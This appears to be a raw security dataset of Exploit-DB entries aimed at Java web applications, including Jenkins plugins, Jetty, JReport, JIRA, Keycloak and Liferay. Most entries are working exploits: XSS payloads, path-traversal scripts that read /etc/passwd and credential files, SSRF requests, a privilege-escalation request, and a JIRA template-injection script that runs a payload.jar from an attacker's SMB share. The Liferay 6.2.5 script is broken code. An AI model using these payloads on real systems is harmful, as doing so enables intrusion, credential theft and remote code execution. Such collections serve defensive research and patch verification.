deardaniel/secdata-raw huggingface dataset:
Exploit-DB #47598
Description: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-11-08
Author: vesche

Exploit:
# Exploit Title: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting
# Date: 2019-11-06
# Exploit Author: vesche (Austin Jackson)
# Vendor Homepage: https://plugins.jenkins.io/build-metrics
# Version: Jenkins build-metrics plugin 1.3 and below
# Tested on: Debian 10 (Buster), Jenkins 2.203 (latest 2019-11-05), and build-metrics 1.3
# CVE: CVE-2019-10475
# Write-up: https://github.com/vesche/CVE-2019-10475

#!/usr/bin/env python

import sys
import argparse

VULN_URL = '''{base_url}/plugin/build-metrics/getBuildStats?label={inject}&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search'''


def get_parser():
    parser = argparse.ArgumentParser(description='CVE-2019-10475')
    parser.add_argument('-p', '--port', help='port', default=80, type=int)
    parser.add_argument('-d', '--domain', help='domain', default='localhost', type=str)
    parser.add_argument('-i', '--inject', help='inject', default='<script>alert("CVE-2019-10475")</script>', type=str)
    return parser


def main():
    parser = get_parser()
    args = vars(parser.parse_args())
    port = args['port']
    domain = args['domain']
    inject = args['inject']
    if port == 80:
        base_url = f'http://{domain}'
    elif port == 443:
        base_url = f'https://{domain}'
    else:
        base_url = f'http://{domain}:{port}'
    build_url = VULN_URL.format(base_url=base_url, inject=inject)
    print(build_url)
    return 0


if __name__ == '__main__':
    sys.exit(main())
Exploit-DB #47111
Description: Jenkins Dependency Graph View Plugin 0.13 - Persistent Cross-Site Scripting
Type: webapps
Platform: java
Date: 2019-07-12
Author: Ishaq Mohammed

Exploit:
# Exploit Title:  Persistent XSS - Dependency Graph View Plugin(v0.13)
# Vendor Homepage: https://wiki.jenkins.io/display/JENKINS/Dependency+Graph+View+Plugin
# Exploit Author: Ishaq Mohammed
# Contact: https://twitter.com/security_prince
# Website: https://about.me/security-prince
# Category: webapps
# Platform: Java
# CVE: CVE-2019-10349
# Jenkins issue: #SECURITY-1177

1. Description:
The "Display Name" field in General Options of the Configure module in
Jenkins was found to be accepting arbitrary value which when loaded in the
Dependency Graph View module gets execute which makes it vulnerable to a
Stored/Persistent XSS.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-10349
2. Proof of Concept:
Vulnerable Source
http://{jenkins-hostname:port}/jobs/{projectname}/configure
Steps to Reproduce:
Login to Jenkins Server with valid credentials and ensure that the
dependency graph plugin is installed.
1. Click on configure the Jenkins plugin.
2. Select advanced options
3. Enter the XSS payload in the "Display Name" field
4. Navigate to Dependency Graph module
5. Observe the Executed Payload
6. Payload used for the demo:

<img src="a" onerror="alert('jenkinsxss')">

3. Solution:
As of publication of this advisory, there is no fix.
The plugin hsa been abandoned by the maintainer


Reference
https://jenkins.io/security/advisory/2019-07-11/#SECURITY-1177
Exploit-DB #47927
Description: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
Type: webapps
Platform: java
Date: 2020-01-16
Author: Ai Ho

Exploit:
# Exploit Title: Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting
# Exploit Author: Ai Ho
# Vendor Homepage : https://jenkins.io/
# Effective version : Gitlab Hook Plugin 1.4.2 and earlier
# References: https://jenkins.io/security/advisory/2020-01-15/
# CVE: CVE-2020-2096

# PoC:
http://JENKINS_IP/gitlab/build_now%3Csvg/onload=alert(document.domain)%3E
Exploit-DB #50438
Description: Jetty 9.4.37.v20210219 - Information Disclosure
Type: webapps
Platform: java
Date: 2021-10-22
Author: Mayank Deshmukh

Exploit:
# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure 
# Date: 2021-10-21
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.eclipse.org/jetty/
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
# Tested on: Kali Linux
# CVE : CVE-2021-28164

POC #1 - web.xml

GET /%2e/WEB-INF/web.xml HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Exploit-DB #48260
Description: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
Type: webapps
Platform: java
Date: 2020-03-27
Author: hongphukt

Exploit:
# Exploit Title: Jinfornet Jreport 15.6 - Unauthenticated Directory Traversal
# Date: 2020-03-26
# Exploit Author: hongphukt
# Vendor Homepage: https://www.jinfonet.com/
# Software Link: https://www.jinfonet.com/product/download-jreport/
# Version: JReport 15.6
# Tested on: Linux, Windows 

Jreport Help function have a path traversal vulnerability in the SendFileServlet allows remote unauthenticated users to view any files on the Operating System with Application services user permission. This vulnerability affects Windows and Unix operating systems.
Technical Details

Jreport before loggedin have help function with url:

https://serverip/jreport/sendfile/help/userguide/server/index.htm

senfile url processing by jet.server.servlets.SendFileServlet class.

            <servlet>

                        <servlet-name>sendfile</servlet-name>

                        <servlet-class>jet.server.servlets.SendFileServlet</servlet-class>

            </servlet>

            <servlet-mapping>

                        <servlet-name>sendfile</servlet-name>

                        <url-pattern>/sendfile/*</url-pattern>

            </servlet-mapping>

 

In jet.server.servlets.SendFileServlet class, request will go on when it’s authenticated or start url by ‘/help/’

if ((!isAuthentic) &&

        (!path.startsWith("/help/")))

      {

        httpRptServer.getHttpUserSessionManager().sendUnauthorizedResponse(req, res, this.D, httpRptServer.getResourceManager().getRealm());

        return;

      }

 

So the function reading file without any path validation

Exploit:

Get login properties, /etc/password file by get url:

 http://jreport.test/jreport/sendfile/help/../bin/login.properties

 http://jreport.test/jreport/sendfile/help/../../../../../../../../../../../../../../etc/passwd

# Exploit Code

import requests
import argparse

def exploit(url, file):
    
    session = requests.Session()
    rawBody = "\r\n"
    response = session.get("{}/jreport/sendfile/help/{}".format(url,file), data=rawBody)

    if response.status_code == 404:
        print("The '{}' file was not found.".format(file))	
    else:
        print("-" *22)
        print(response.content)
        print("-" *22)

if __name__ == "__main__":

    parser = argparse.ArgumentParser(description='Jreport Path traversal & Arbitrary File Download')
    parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
    parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
    args = parser.parse_args()

    exploit(args.url, args.file)

# python jreport_fileread.py -u http://jreport.address -f "../../../../../../../../../../../../../../etc/passwd/"
# python jreport_fileread.py -u http://jreport.address -f "../bin/login.properties"
# python jreport_fileread.py -u http://jreport.address -f "../bin/server.properties"
Exploit-DB #38551
Description: JIRA and HipChat for JIRA Plugin - Velocity Template Injection
Type: webapps
Platform: java
Date: 2015-10-28
Author: Chris Wood

Exploit:
############################################################################
# JIRA and HipChat for JIRA plugin Velocity Template Injection Vulnerability
# Date: 2015-08-26
# CVE ID: CVE-2015-5603
# Vendor Link: https://confluence.atlassian.com/jira/jira-and-hipchat-for-jira-plugin-security-advisory-2015-08-26-776650785.html
#
# Product: JIRA and the HipChat for JIRA plugin.
# Affected HipChat For JIRA plugin versions: 1.3.2 <= version < 6.30.0
# Affected JIRA product versions: 6.3.5 <= version <  6.4.11
#
# Discovered internally by Atlassian (vendor)
# Proof of concept script by Chris Wood <chris@invivid.com>
#
# Tested against JIRA 6.3.4a with HipChat 6.29.2 on Windows 7 x64
# Allows any authenticated JIRA user to execute code running as Tomcat identity
############################################################################

import urllib2
import json

# cookie of any authenticated session (ex. jira-user)
JSESSIONID = '541631B0D72EF1C71E932953F4760A70'

# jira server
RHOST      = 'http://192.168.2.15:8080'

# samba public share, read/write to anonymous users
CMD 	   = ' java -jar \\\\192.168.2.234\\public\\payload.jar '
data = {
    'message': ' $i18n.getClass().forName(\'java.lang.Runtime\').getMethod(\'getRuntime\', null).invoke(null, null).exec(\'' + CMD + '\').waitFor() '
}

opener = urllib2.build_opener()
opener.addheaders.append(('Cookie', 'JSESSIONID=' + JSESSIONID))
urllib2.install_opener(opener)
req = urllib2.Request(RHOST + '/rest/hipchat/integrations/1.0/message/render/')
req.add_header('Content-Type', 'application/json')

response = urllib2.urlopen(req, json.dumps(data))

print('##################################')
print('######### CVE-2015-5603 ##########')
print('##################################')
print(response.read())
Exploit-DB #32818
Description: JOnAS 4.10.3 - 'select' Error Page Cross-Site Scripting
Type: webapps
Platform: java
Date: 2009-02-25
Author: Digital Security Research Group

Exploit:
source: https://www.securityfocus.com/bid/33912/info

JOnAS is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

JOnAS 4.10.3 is vulnerable; other versions may also be affected.

http://www.example.com:9000/jonasAdmin/ListMBeanDetails.do?select=jonas%3Aj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule%2Cj2eeType<script>alert('DSecRG%20XSS')</script>%3DEJBModule
Exploit-DB #50405
Description: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
Type: webapps
Platform: java
Date: 2021-10-13
Author: Mayank Deshmukh

Exploit:
# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
# Date: 2021-10-09
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html
# Version: versions < 12.0.2
# Tested on: Kali Linux
# CVE : CVE-2020-10770

#!/usr/bin/env python3

import argparse, textwrap
import requests
import sys

parser = argparse.ArgumentParser(description="-=[Keycloak Blind SSRF test by ColdFusionX]=-", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -u http://127.0.0.1:8080
[^] Input Netcat host:port -> 192.168.0.1:4444
'''))                     

parser.add_argument("-u","--url", help="Keycloak Target URL (Example: http://127.0.0.1:8080)") 
args = parser.parse_args()

if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")          
    sys.exit()  

# Variables
Host = args.url

r = requests.session()

def ssrf():
    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
                     }
    hook = input("[^] Input Netcat host:port -> ")
    
    _req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)
    return True

if __name__ == "__main__":

    print ('\n[+] Keycloak Bind SSRF test by ColdFusionX \n ')
    try:    
        if ssrf() == True:
            print ('\n[+] BINGO! Check Netcat listener for HTTP callback :) \n ')
    
    except Exception as ex:
        print('\n[-] Invalid URL or Target not Vulnerable')
Exploit-DB #48090
Description: LabVantage 8.3 - Information Disclosure
Type: webapps
Platform: java
Date: 2020-02-17
Author: Joel Aviad Ossi

Exploit:
# Exploit Title: LabVantage 8.3 - Information Disclosure
# Google Dork: N/A
# Date: 2020-02-16
# Exploit Author: Joel Aviad Ossi
# Vendor Homepage: labvantage.com
# Software Link: N/A
# Version: LabVantage 8.3
# Tested on: *
# CVE : N/A


import requests
import operator


def exploit(target):
    print("[+] Fetching LabVantage Database Name..")
    start = "name=\"database\" id=\"database\" value=\""
    end = "\" >"
    vstart = "<img src=\"WEB-OPAL/layouts/images/logo_white.png\" title=\""
    vend = "viewportTest"
    print("[+] Testing URL: " + target)
    r = requests.get(target)
    memory = r.text
    print("[+] DB: " + memory[memory.find(start) + len(start):memory.rfind(end)])
    print("[+] VERSION: " + memory[memory.find(vstart) + len(vstart):memory.rfind(vend)][:-71])
    print("[+] Vulnerable!")


def vuln_check():
    target = input("\nTARGET HOST URL (example: target.com:8080): ")
    print('[+] Checking if Host is vulnerable.')
    target = (str(target) + "/labservices/logon.jsp")
    r = requests.get(target)
    memory = r.text
    s = "name=\"database\" id=\"database\" value=\""
    if not operator.contains(memory, s):
        print("[-] Not Vulnerable!")
        exit(0)
    else:
        exploit(target)


def attack():
    target = input("\nTARGET HOST URL (example: http://target.com:8080): ")
    enum = input("\nDB NAME TO CHECK: ")
    headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0',
               'Content-Type': 'application/x-www-form-urlencoded'}
    payload = ({'nexturl': 'null', 'ignorelogonurl': 'N', 'ignoreexpirywarning': 'false',
                '_viewport': 'null', 'username': 'null', 'password': 'null',
                'database': ''+str(enum)+'', 'csrftoken': 'null'})
    target = (str(target) + "/labservices/rc?command=login")
    print("[+] Testing URL: " + target)
    r = requests.post(target, headers=headers, data=payload)
    memory = r.text
    start = "Unrecognized"
    if start in memory:
        print('[+] DB NOT FOUND!')
    else:
        print('[!] NO FOUND!')


print("\n1. Vulnerability Check\n2. DB Name Enumeration\n")
option = input("CHOSE OPTION: ")
if option == "1":
    vuln_check()
elif option == "2":
    attack()
else:
    print("Wrong option selected, try again!")
Exploit-DB #45153
Description: LAMS < 3.1 - Cross-Site Scripting
Type: webapps
Platform: java
Date: 2018-08-06
Author: Nikola Kojic

Exploit:
# Exploit Title: LAMS < 3.1 - Cross-Site Scripting
# Date: 2018-08-05
# Exploit Author: Nikola Kojic
# Website: https://ras-it.rs/
# Vendor Homepage: https://www.lamsfoundation.org/
# Software Link: https://www.lamsfoundation.org/downloads_home.htm
# Category: Web Application
# Platform: Java
# Version: <= 3.1
# CVE: 2018-12090

# Vendor Description:
# LAMS is a revolutionary new tool for designing, managing and delivering online collaborative 
# learning activities. It provides teachers with a highly intuitive visual authoring 
# environment for creating sequences of learning activities.

# Technical Details and Exploitation:
# There is unauthenticated reflected cross-site scripting (XSS) in LAMS before 3.1 that allows 
# a remote attacker to introduce arbitrary JavaScript via manipulation of an unsanitized GET
# parameter during a forgotPasswordChange.jsp?key= password change.

# Proof of Concept:
http://localhost:8080/lams/forgotPasswordChange.jsp?key=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E

# Timeline:
# 2018-06-07: Discovered
# 2018-06-08: Vendor notified
# 2018-06-08: Vendor replies
# 2018-06-11: CVE number requested
# 2018-06-11: CVE number assigned
# 2018-06-15: Patch released
# 2018-08-05: Public disclosure
Exploit-DB #35683
Description: LANSA aXes Web Terminal TN5250 - 'axes_default.css' Cross-Site Scripting
Type: webapps
Platform: java
Date: 2011-05-02
Author: Patrick Webster

Exploit:
source: https://www.securityfocus.com/bid/47672/info

LANSA aXes Web Terminal TN5250 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks. 

 https://www.example.com/axests/terminal?cssref=/ts/skins/axes_default.css?axbuild=135001&login=[xss]
Exploit-DB #47972
Description: Liferay CE Portal 6.0.2 - Remote Command Execution
Type: webapps
Platform: java
Date: 2020-01-29
Author: Berk Dusunur

Exploit:
# Exploit Title: Liferay CE Portal 6.0.2 - Remote Command Execution
# Google Dork: N/A
# Date: 2020-01-29
# Exploit Author: Berk Dusunur
# Vendor Homepage: https://www.liferay.com/
# Software Link: https://sourceforge.net/projects/lportal/files/Liferay%20Portal/6.0.2/
# https://github.com/chakadev/Liferay-CE-Portal-Java-Deserialization
# Version: 6.0.2
# Tested on: MacOS
# CVE : N/A

#PoC

I already shared payloads in my github repo (Because payloads so small and
have a meta character). You must find the right syntax by brute-force
method.Payloads I share are for time-based proof of concept (sleep 10). The
application may not always output the command. That's why you should try
time-based payload while doing PoC.



POST /api/liferay HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:72.0)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9
Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close

PAYLOADS HERE
Exploit-DB #18881
Description: Liferay Portal 6.0.x < 6.1 - Privilege Escalation
Type: webapps
Platform: java
Date: 2012-05-13
Author: Jelmer Kuperus

Exploit:
Liferay users can assign themselves to organizations, leading to
possible privilege escalation

Description:

Liferay Portal is an enterprise portal written in Java

Due to insufficient permission checking in the updateOrganizations
method of UserService any user
can assign hem or her self to any organization by issueing a single http request

http://vulnerabilehost/c/portal/json_service?serviceClassName=com.lifera
y.portal.service.UserServiceUtil&serviceMethodName=updateOrganizations&s
erviceParameters=%5B%27userId%27%2C+%27organizationIds%27%5D&userId=YOUR
_USER_ID&organizationIds=TARGET_ORGANIZATION_ID

It is common to grant special privileges to members of an organization.

Systems affected:

Liferay 6.1 ce
Liferay 6.1 ee
liferay 6.0.x

Vendor status :

Liferay was notified april 22 2012 by filing a bug in their public
bugtracker under issue number
LPS-26887. The issue has since been flagged as private and has been resolved.
Exploit-DB #51244
Description: Liferay Portal 6.2.5 - Insecure Permissions
Type: webapps
Platform: java
Date: 2023-04-05
Author: Fu2x2000

Exploit:
# Exploit Title: Liferay Portal 6.2.5 - Insecure Permissions
# Google Dork: -inurl:/html/js/editor/ckeditor/editor/filemanager/browser/
# Date: 2021/05
# Exploit Author: fu2x2000
# Version: Liferay Portal 6.2.5 or later
# CVE : CVE-2021-33990

 import requests
import json

print (" Search this on Google #Dork for liferay
-inurl:/html/js/editor/ckeditor/editor/filemanager/browser/")

url ="URL Goes Here
/html/js/editor/ckeditor/editor/filemanager/browser/liferay/frmfolders.html"
req = requests.get(url)
print req
sta = req.status_code
if sta == 200:
print ('Life Vulnerability exists')
cook = url
print cook
inject = "Command=FileUpload&Type=File&CurrentFolder=/"
#cook_inject = cook+inject
#print cook_inject
else:
print ('not found try a another method')


print ("solution restrict access and user groups")
Exploit-DB #44945
Description: Liferay Portal < 7.0.4 - Server-Side Request Forgery
Type: webapps
Platform: java
Date: 2018-06-26
Author: Mehmet Ince

Exploit:
1. ADVISORY INFORMATION

========================================

Title: Liferay Portal < 7.0.4 Blind Server-Side Request Forgery

Application: osTicket

Remotely Exploitable: Yes

Authentication Required: NO

Versions Affected: <= 7.0.4

Technology: Java

Vendor URL: liferay.com

Date of found: 04 December 2017

Disclosure: 25 June 2018

Author: Mehmet Ince



2. CREDIT

========================================

This vulnerability was identified during penetration test

by Mehmet INCE from PRODAFT / INVICTUS



3. Technical Details & POC

========================================

POST /xmlrpc/pingback HTTP/1.1

Host: mehmetince.dev:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/47.0.2526.73 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 361


<?xml version="1.0" encoding="UTF-8"?>

<methodCall>

<methodName>pingback.ping</methodName>

<params>

<param>

<value>http://TARGET/</value>

</param>

<param>

<value>http://mehmetince.dev:8080/web/guest/home/-/blogs/30686</value>

</param>

</params>

</methodCall>